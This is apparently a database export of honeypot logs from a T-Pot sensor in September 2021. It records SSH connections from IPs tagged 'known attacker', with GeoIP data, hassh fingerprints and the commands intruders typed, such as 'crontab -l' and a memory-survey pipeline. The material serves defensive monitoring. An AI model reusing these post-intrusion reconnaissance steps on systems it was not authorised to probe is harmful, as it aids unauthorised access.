19808	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:53.354872+03	2021-09-20 14:15:01.575613+03	{"_id": "gAXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:53.354872Z", "@timestamp": "2021-09-20T11:00:53.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19809	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:53.93473+03	2021-09-20 14:15:01.577613+03	{"_id": "gwXdAnwBvYTbRNuErvV4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "119.29.153.168", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5809838771820068, "duplicate": true, "timestamp": "2021-09-20T11:00:53.934730Z", "@timestamp": "2021-09-20T11:00:53.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19810	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:54.328837+03	2021-09-20 14:15:01.578612+03	{"_id": "hAXdAnwBvYTbRNuErvV4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:54.328837Z", "@timestamp": "2021-09-20T11:00:54.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19811	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:00:42.638288+03	2021-09-20 14:15:01.580613+03	{"_id": "IwXdAnwBvYTbRNuEfvXA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 394505259457874, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57974, "dest_port": 22, "timestamp": "2021-09-20T11:00:42.638288Z", "@timestamp": "2021-09-20T11:00:42.638Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19812	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:00:42.639661+03	2021-09-20 14:15:01.581614+03	{"_id": "JAXdAnwBvYTbRNuEf_Vb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57974, "dest_port": 22, "timestamp": "2021-09-20T11:00:42.639661", "@timestamp": "2021-09-20T11:00:42.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19813	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:42.359257+03	2021-09-20 14:15:01.583613+03	{"_id": "JQXdAnwBvYTbRNuEf_WQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57974, "timestamp": "2021-09-20T11:00:42.359257", "@timestamp": "2021-09-20T11:00:42.359Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19814	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:42.64033+03	2021-09-20 14:15:01.584613+03	{"_id": "JgXdAnwBvYTbRNuEf_WQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:42.640330Z", "@timestamp": "2021-09-20T11:00:42.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19815	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:42.355389+03	2021-09-20 14:15:01.585613+03	{"_id": "JwXdAnwBvYTbRNuEf_Xt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:57974 (192.168.176.2:22) [session: 341f760f2101]", "session": "341f760f2101", "@version": "1", "protocol": "ssh", "src_port": 57974, "dest_port": 22, "timestamp": "2021-09-20T11:00:42.355389Z", "@timestamp": "2021-09-20T11:00:42.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19816	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:44.425176+03	2021-09-20 14:15:01.586613+03	{"_id": "OgXdAnwBvYTbRNuEh_W_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58160, "timestamp": "2021-09-20T11:00:44.425176", "@timestamp": "2021-09-20T11:00:44.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19817	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:44.703356+03	2021-09-20 14:15:01.588613+03	{"_id": "OwXdAnwBvYTbRNuEh_W_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "355afc3fd41b", "@version": "1", "timestamp": "2021-09-20T11:00:44.703356Z", "@timestamp": "2021-09-20T11:00:44.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19818	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:51.07979+03	2021-09-20 14:15:01.589613+03	{"_id": "bAXdAnwBvYTbRNuEovW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "30754e1e3d44ad8a6e91bf56c31f93914e92792042e89d8e7fbdafcad6e9bdc1", "src_ip": "119.29.153.168", "ttylog": "log/tty/30754e1e3d44ad8a6e91bf56c31f93914e92792042e89d8e7fbdafcad6e9bdc1", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/30754e1e3d44ad8a6e91bf56c31f93914e92792042e89d8e7fbdafcad6e9bdc1 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5650484561920166, "duplicate": false, "timestamp": "2021-09-20T11:00:51.079790Z", "@timestamp": "2021-09-20T11:00:51.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19819	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:52.427974+03	2021-09-20 14:15:01.590612+03	{"_id": "bQXdAnwBvYTbRNuEpvWo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:52.427974Z", "@timestamp": "2021-09-20T11:00:52.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19820	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:52.428526+03	2021-09-20 14:15:01.592612+03	{"_id": "bgXdAnwBvYTbRNuEpvWo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:52.428526Z", "@timestamp": "2021-09-20T11:00:52.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19821	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:52.036043+03	2021-09-20 14:15:01.593612+03	{"_id": "cwXdAnwBvYTbRNuEp_UA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "119.29.153.168", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5639898777008057, "duplicate": true, "timestamp": "2021-09-20T11:00:52.036043Z", "@timestamp": "2021-09-20T11:00:52.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19822	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:00:53.10475+03	2021-09-20 14:15:01.594613+03	{"_id": "dgXdAnwBvYTbRNuEqfW9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "flow_id": 1826157446320810, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54374, "dest_port": 22, "timestamp": "2021-09-20T11:00:53.104750Z", "@timestamp": "2021-09-20T11:00:53.104Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19823	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:53.104891+03	2021-09-20 14:15:01.595613+03	{"_id": "ewXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "132.148.165.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54374, "timestamp": "2021-09-20T11:00:53.104891", "@timestamp": "2021-09-20T11:00:53.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
